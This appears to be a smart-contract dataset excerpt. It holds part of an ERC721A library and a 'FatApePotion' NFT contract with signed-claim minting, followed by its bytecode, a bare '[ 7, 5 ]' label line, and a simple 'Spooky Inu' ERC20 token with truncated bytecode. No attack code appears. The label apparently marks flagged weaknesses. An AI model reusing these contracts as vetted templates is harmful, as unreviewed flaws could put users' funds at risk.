PotionType(_potionTypes[arrayIndex++]); emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } function _setPotionType(uint256 index, uint256 potionType) internal { potionStorage[index] = PotionType(potionType); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint(address to, uint256 quantity) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Equivalent to `_burn(tokenId, false)`. */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: Potion.sol pragma solidity ^0.8.0; contract FatApePotion is ERC721A, Ownable { using Strings for uint256; address public signer; address private villanContract; uint256 public maxSupply; bool public paused; string public uriPrefix = ''; mapping(address => bool) public potionsClaimed; constructor( string memory _tokenName, string memory _tokenSymbol, string memory _uriPrefix, uint256 _maxSupply, address _signer ) ERC721A(_tokenName, _tokenSymbol) { maxSupply = _maxSupply; signer = _signer; paused = false; uriPrefix = _uriPrefix; } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0, 'Invalid mint amount!'); require(totalSupply() + _mintAmount <= maxSupply, 'Max supply exceeded!'); _; } function mint(uint256 _amount, uint8[] calldata _potionTypes, bytes memory _sig) public mintCompliance(_amount) { require(!paused, 'The mint is currently not active!'); require(verifyClaim(signer, _msgSender(), _amount, _potionTypes, _sig), 'Invalid proof!'); require(!potionsClaimed[_msgSender()], 'Address already claimed!'); potionsClaimed[_msgSender()] = true; _safeMint(_msgSender(), _potionTypes, _amount); } function burnPotion(uint256 potionId) external { require(msg.sender == villanContract, "Invalid burner address"); _burn(potionId); } function getTotalSupply() public view returns (string memory) { return totalSupply().toString(); } function getPotion(uint256 index) public view returns (string memory) { return getPotionType(index); } function setVillanContractAddress(address _contract) external onlyOwner { villanContract = _contract; } function setSigner(address _address) public onlyOwner { signer = _address; } function setMaxSupply(uint _supply) public onlyOwner { maxSupply = _supply; } function setPauseState(bool _state) public onlyOwner { paused = _state; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } function verifyClaim(address _signer, address reciver, uint256 _amount, uint8[] calldata _potionTypes, bytes memory _sig) internal pure returns (bool) { bytes32 messageHash = getMessageHash(reciver, _amount, _potionTypes); bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash); return recover(ethSignedMessageHash, _sig) == _signer; } function getMessageHash(address reciver, uint256 _amount, uint8[] calldata _potionTypes) internal pure returns (bytes32){ return keccak256(abi.encodePacked(reciver, _amount, _potionTypes)); } function getEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32){ return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", messageHash)); } function recover(bytes32 _ethSignedMessageHash, bytes memory _sig) internal pure returns (address){ (bytes32 r, bytes32 s, uint8 v) = _split(_sig); return ecrecover(_ethSignedMessageHash, v, r, s); } function _split(bytes memory _sig) internal pure returns (bytes32 r, bytes32 s, uint8 v){ require(_sig.length == 65, "Invalid signature length"); assembly { r := mload(add(_sig, 32)) s := mload(add(_sig, 64)) v := byte(0, mload(add(_sig, 96))) } } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063715018a61161010f578063c4e41b22116100a2578063d5abeb0111610071578063d5abeb011461043a578063e985e9c514610443578063f2fde38b1461047f578063f3cba9801461049257600080fd5b8063c4e41b22146103f9578063c87b56dd14610401578063cdb88ad114610414578063d0efc0b71461042757600080fd5b80639d7c2770116100de5780639d7c2770146103ad5780639fe6990e146103c0578063a22cb465146103d3578063b88d4fde146103e657600080fd5b8063715018a6146103795780637ec4a659146103815780638da5cb5b1461039457806395d89b41146103a557600080fd5b806342842e0e116101875780636352211e116101565780636352211e1461032d5780636c19e783146103405780636f8b44b01461035357806370a082311461036657600080fd5b806342842e0e146102e25780634e85b407146102f55780635c975abb1461031857806362b99ad41461032557600080fd5b806318160ddd116101c357806318160ddd14610272578063232b09871461028c578063238ac933146102bc57806323b872dd146102cf57600080fd5b806301ffc9a7146101f557806306fdde031461021d578063081812fc14610232578063095ea7b31461025d575b600080fd5b610208610203366004611afb565b6104a5565b60405190151581526020015b60405180910390f35b6102256104f7565b6040516102149190611b70565b610245610240366004611b83565b610589565b6040516001600160a01b039091168152602001610214565b61027061026b366004611bb8565b6105cd565b005b60015460005403600019015b604051908152602001610214565b6102af61029a366004611b83565b60046020526000908152604090205460ff1681565b6040516102149190611bf8565b600a54610245906001600160a01b031681565b6102706102dd366004611c20565b61065a565b6102706102f0366004611c20565b610665565b610208610303366004611c5c565b600f6020526000908152604090205460ff1681565b600d546102089060ff1681565b610225610680565b61024561033b366004611b83565b61070e565b61027061034e366004611c5c565b610720565b610270610361366004611b83565b610775565b61027e610374366004611c5c565b6107a4565b6102706107f2565b61027061038f366004611d02565b610828565b6009546001600160a01b0316610245565b610225610869565b6102256103bb366004611b83565b610878565b6102706103ce366004611c5c565b610883565b6102706103e1366004611d5a565b6108cf565b6102706103f4366004611dad565b610964565b6102256109b5565b61022561040f366004611b83565b6109d1565b610270610422366004611e14565b610a55565b610270610435366004611e2f565b610a92565b61027e600c5481565b610208610451366004611ec6565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205460ff1690565b61027061048d366004611c5c565b610c7b565b6102706104a0366004611b83565b610d16565b60006001600160e01b031982166380ac58cd60e01b14806104d657506001600160e01b03198216635b5e139f60e01b145b806104f157506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606002805461050690611ef0565b80601f016020809104026020016040519081016040528092919081815260200182805461053290611ef0565b801561057f5780601f106105545761010080835404028352916020019161057f565b820191906000526020600020905b81548152906001019060200180831161056257829003601f168201915b5050505050905090565b600061059482610d72565b6105b1576040516333d1c03960e21b815260040160405180910390fd5b506000908152600760205260409020546001600160a01b031690565b60006105d88261070e565b9050806001600160a01b0316836001600160a01b03160361060c5760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b0382161480159061062c575061062a8133610451565b155b1561064a576040516367d9dca160e11b815260040160405180910390fd5b610655838383610dab565b505050565b610655838383610e07565b61065583838360405180602001604052806000815250610964565b600e805461068d90611ef0565b80601f01602080910402602001604051908101604052809291908181526020018280546106b990611ef0565b80156107065780601f106106db57610100808354040283529160200191610706565b820191906000526020600020905b8154815290600101906020018083116106e957829003601f168201915b505050505081565b600061071982610fe0565b5192915050565b6009546001600160a01b031633146107535760405162461bcd60e51b815260040161074a90611f2a565b60405180910390fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6009546001600160a01b0316331461079f5760405162461bcd60e51b815260040161074a90611f2a565b600c55565b60006001600160a01b0382166107cd576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600660205260409020546001600160401b031690565b6009546001600160a01b0316331461081c5760405162461bcd60e51b815260040161074a90611f2a565b6108266000611107565b565b6009546001600160a01b031633146108525760405162461bcd60e51b815260040161074a90611f2a565b805161086590600e906020840190611a4c565b5050565b60606003805461050690611ef0565b60606104f182611159565b6009546001600160a01b031633146108ad5760405162461bcd60e51b815260040161074a90611f2a565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b336001600160a01b038316036108f85760405163b06307db60e01b815260040160405180910390fd5b3360008181526008602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61096f848484610e07565b6001600160a01b0383163b15158015610991575061098f8484848461129f565b155b156109af576040516368d2bf6b60e11b815260040160405180910390fd5b50505050565b6001546000546060916109cc91036000190161138b565b905090565b60606109dc82610d72565b6109f957604051630a14c4b560e41b815260040160405180910390fd5b6000610a0361148b565b90508051600003610a235760405180602001604052806000815250610a4e565b80610a2d84611159565b604051602001610a3e929190611f5f565b6040516020818303038152906040525b9392505050565b6009546001600160a01b03163314610a7f5760405162461bcd60e51b815260040161074a90611f2a565b600d805460ff1916911515919091179055565b8360008111610ada5760405162461bcd60e51b8152602060048201526014602482015273496e76616c6964206d696e7420616d6f756e742160601b604482015260640161074a565b600c546001546000548391900360001901610af59190611fa4565b1115610b3a5760405162461bcd60e51b81526020600482015260146024820152734d617820737570706c792065786365656465642160601b604482015260640161074a565b600d5460ff1615610b975760405162461bcd60e51b815260206004820152602160248201527f546865206d696e742069732063757272656e746c79206e6f74206163746976656044820152602160f81b606482015260840161074a565b600a54610bb1906001600160a01b0316338787878761149a565b610bee5760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b604482015260640161074a565b336000908152600f602052604090205460ff1615610c4e5760405162461bcd60e51b815260206004820152601860248201527f4164647265737320616c726561647920636c61696d6564210000000000000000604482015260640161074a565b336000818152600f60205260409020805460ff19166001179055610c7490858588611531565b5050505050565b6009546001600160a01b03163314610ca55760405162461bcd60e51b815260040161074a90611f2a565b6001600160a01b038116610d0a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161074a565b610d1381611107565b50565b600b546001600160a01b03163314610d695760405162461bcd60e51b8152602060048201526016602482015275496e76616c6964206275726e6572206164647265737360501b604482015260640161074a565b610d138161154d565b600081600111158015610d86575060005482105b80156104f1575050600090815260056020526040902054600160e01b900460ff161590565b60008281526007602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6000610e1282610fe0565b9050836001600160a01b031681600001516001600160a01b031614610e495760405162a1148160e81b815260040160405180910390fd5b6000336001600160a01b0386161480610e675750610e678533610451565b80610e82575033610e7784610589565b6001600160a01b0316145b905080610ea257604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b038416610ec957604051633a954ecd60e21b815260040160405180910390fd5b610ed560008487610dab565b6001600160a01b038581166000908152600660209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600590945282852080546001600160e01b031916909417600160a01b42909216919091021783558701808452922080549193909116610fa9576000548214610fa957805460208601516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038a16171781555b50505082846001600160a01b0316866001600160a01b031660008051602061212283398151915260405160405180910390a4610c74565b60408051606081018252600080825260208201819052918101919091528180600111158015611010575060005481105b156110ee57600081815260056020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff161515918101829052906110ec5780516001600160a01b031615611083579392505050565b5060001901600081815260056020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff16151592810192909252156110e7579392505050565b611083565b505b604051636f96cda160e11b815260040160405180910390fd5b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6060600260008381526004602081905260409091205460ff169081111561118257611182611be2565b036111a7575050604080518082019091526004815263424c554560e01b602082015290565b600160008381526004602081905260409091205460ff16908111156111ce576111ce611be2565b036111f257505060408051808201909152600381526214915160ea1b602082015290565b600360008381526004602081905260409091205460ff169081111561121957611219611be2565b0361123f57505060408051808201909152600581526423a922a2a760d91b602082015290565b60008281526004602081905260409091205460ff168181111561126457611264611be2565b0361128b575050604080518082019091526006815265505552504c4560d01b602082015290565b505060408051602081019091526000815290565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a02906112d4903390899088908890600401611fbc565b6020604051808303816000875af192505050801561130f575060408051601f3d908101601f1916820190925261130c91810190611ff9565b60015b61136d573d80801561133d576040519150601f19603f3d011682016040523d82523d6000602084013e611342565b606091505b508051600003611365576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490505b949350505050565b6060816000036113b25750506040805180820190915260018152600360fc1b602082015290565b8160005b81156113dc57806113c681612016565b91506113d59050600a83612045565b91506113b6565b6000816001600160401b038111156113f6576113f6611c77565b6040519080825280601f01601f191660200182016040528015611420576020820181803683370190505b5090505b841561138357611435600183612059565b9150611442600a86612070565b61144d906030611fa4565b60f81b81838151811061146257611462612084565b60200101906001600160f81b031916908160001a905350611484600a86612045565b9450611424565b6060600e805461050690611ef0565b6000806114a987878787611558565b90506000611504826040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01604051602081830303815290604052805190602001209050919050565b9050886001600160a01b031661151a8286611591565b6001600160a01b0316149998505050505050505050565b6109af8484848460405180602001604052806000815250611610565b610d13816000611825565b60008484848460405160200161157194939291906120ab565b604051602081830303815290604052805190602001209050949350505050565b6000806000806115a0856119d8565b6040805160008152602081018083528b905260ff8316918101919091526060810184905260808101839052929550909350915060019060a0016020604051602081039080840390855afa1580156115fb573d6000803e3d6000fd5b5050604051601f190151979650505050505050565b6000546001600160a01b03861661163957604051622e076360e81b815260040160405180910390fd5b8260000361165a5760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038616600081815260066020908152604080832080546fffffffffffffffffffffffffffffffff1981166001600160401b038083168b0181169182176801000000000000000067ffffffffffffffff1990941690921783900481168b018116909202179091558584526005909252822080546001600160e01b0319168417600160a01b4290931692909202919091179055829182860191903b15611770575b60405183906001600160a01b038b1690600090600080516020612122833981519152908290a461173960008a858060010196508861129f565b611756576040516368d2bf6b60e11b815260040160405180910390fd5b81830361170057836000541461176b57600080fd5b611818565b87878280600101935081811061178857611788612084565b905060200201602081019061179d9190612106565b60ff1660048111156117b1576117b1611be2565b60008481526004602081905260409091208054909160ff199091169060019084908111156117e1576117e1611be2565b02179055506040516001840193906001600160a01b038b1690600090600080516020612122833981519152908290a4818303611770575b5050600055505050505050565b600061183083610fe0565b80519091508215611896576000336001600160a01b038316148061185957506118598233610451565b8061187457503361186986610589565b6001600160a01b0316145b90508061189457604051632ce44b5f60e11b815260040160405180910390fd5b505b6118a260008583610dab565b6001600160a01b0380821660008181526006602090815260408083208054600160801b6000196001600160401b0380841691909101811667ffffffffffffffff198416811783900482166001908101831690930277ffffffffffffffff0000000000000000ffffffffffffffff19909416179290921783558b86526005909452828520805460ff60e01b1942909316600160a01b026001600160e01b03199091169097179690961716600160e01b1785559189018084529220805491949091166119a05760005482146119a057805460208701516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038716171781555b5050604051869250600091506001600160a01b03841690600080516020612122833981519152908390a4505060018054810190555050565b60008060008351604114611a2e5760405162461bcd60e51b815260206004820152601860248201527f496e76616c6964207369676e6174757265206c656e6774680000000000000000604482015260640161074a565b50505060208101516040820151606090920151909260009190911a90565b828054611a5890611ef0565b90600052602060002090601f016020900481019282611a7a5760008555611ac0565b82601f10611a9357805160ff1916838001178555611ac0565b82800160010185558215611ac0579182015b82811115611ac0578251825591602001919060010190611aa5565b50611acc929150611ad0565b5090565b5b80821115611acc5760008155600101611ad1565b6001600160e01b031981168114610d1357600080fd5b600060208284031215611b0d57600080fd5b8135610a4e81611ae5565b60005b83811015611b33578181015183820152602001611b1b565b838111156109af5750506000910152565b60008151808452611b5c816020860160208601611b18565b601f01601f19169290920160200192915050565b602081526000610a4e6020830184611b44565b600060208284031215611b9557600080fd5b5035919050565b80356001600160a01b0381168114611bb357600080fd5b919050565b60008060408385031215611bcb57600080fd5b611bd483611b9c565b946020939093013593505050565b634e487b7160e01b600052602160045260246000fd5b6020810160058310611c1a57634e487b7160e01b600052602160045260246000fd5b91905290565b600080600060608486031215611c3557600080fd5b611c3e84611b9c565b9250611c4c60208501611b9c565b9150604084013590509250925092565b600060208284031215611c6e57600080fd5b610a4e82611b9c565b634e487b7160e01b600052604160045260246000fd5b60006001600160401b0380841115611ca757611ca7611c77565b604051601f8501601f19908116603f01168101908282118183101715611ccf57611ccf611c77565b81604052809350858152868686011115611ce857600080fd5b858560208301376000602087830101525050509392505050565b600060208284031215611d1457600080fd5b81356001600160401b03811115611d2a57600080fd5b8201601f81018413611d3b57600080fd5b61138384823560208401611c8d565b80358015158114611bb357600080fd5b60008060408385031215611d6d57600080fd5b611d7683611b9c565b9150611d8460208401611d4a565b90509250929050565b600082601f830112611d9e57600080fd5b610a4e83833560208501611c8d565b60008060008060808587031215611dc357600080fd5b611dcc85611b9c565b9350611dda60208601611b9c565b92506040850135915060608501356001600160401b03811115611dfc57600080fd5b611e0887828801611d8d565b91505092959194509250565b600060208284031215611e2657600080fd5b610a4e82611d4a565b60008060008060608587031215611e4557600080fd5b8435935060208501356001600160401b0380821115611e6357600080fd5b818701915087601f830112611e7757600080fd5b813581811115611e8657600080fd5b8860208260051b8501011115611e9b57600080fd5b602083019550809450506040870135915080821115611eb957600080fd5b50611e0887828801611d8d565b60008060408385031215611ed957600080fd5b611ee283611b9c565b9150611d8460208401611b9c565b600181811c90821680611f0457607f821691505b602082108103611f2457634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008351611f71818460208801611b18565b835190830190611f85818360208801611b18565b01949350505050565b634e487b7160e01b600052601160045260246000fd5b60008219821115611fb757611fb7611f8e565b500190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611fef90830184611b44565b9695505050505050565b60006020828403121561200b57600080fd5b8151610a4e81611ae5565b60006001820161202857612028611f8e565b5060010190565b634e487b7160e01b600052601260045260246000fd5b6000826120545761205461202f565b500490565b60008282101561206b5761206b611f8e565b500390565b60008261207f5761207f61202f565b500690565b634e487b7160e01b600052603260045260246000fd5b803560ff81168114611bb357600080fd5b6bffffffffffffffffffffffff198560601b1681528360148201526000603482018460005b858110156120f95760ff6120e38361209a565b16835260209283019291909101906001016120d0565b5090979650505050505050565b60006020828403121561211857600080fd5b610a4e8261209a56feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220284b743efa3275cbccfab6444965ae3bbb57d25b78710fc7167c0b336fededc564736f6c634300080d0033
[ 7, 5 ]
0xf20aff6d834a2215d742631d943d50c7ecca15dd
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract Spooky is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "Spooky Inu"; symbol = "SPOOINU"; decimals = 18; _totalSupply = 100000000000000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffff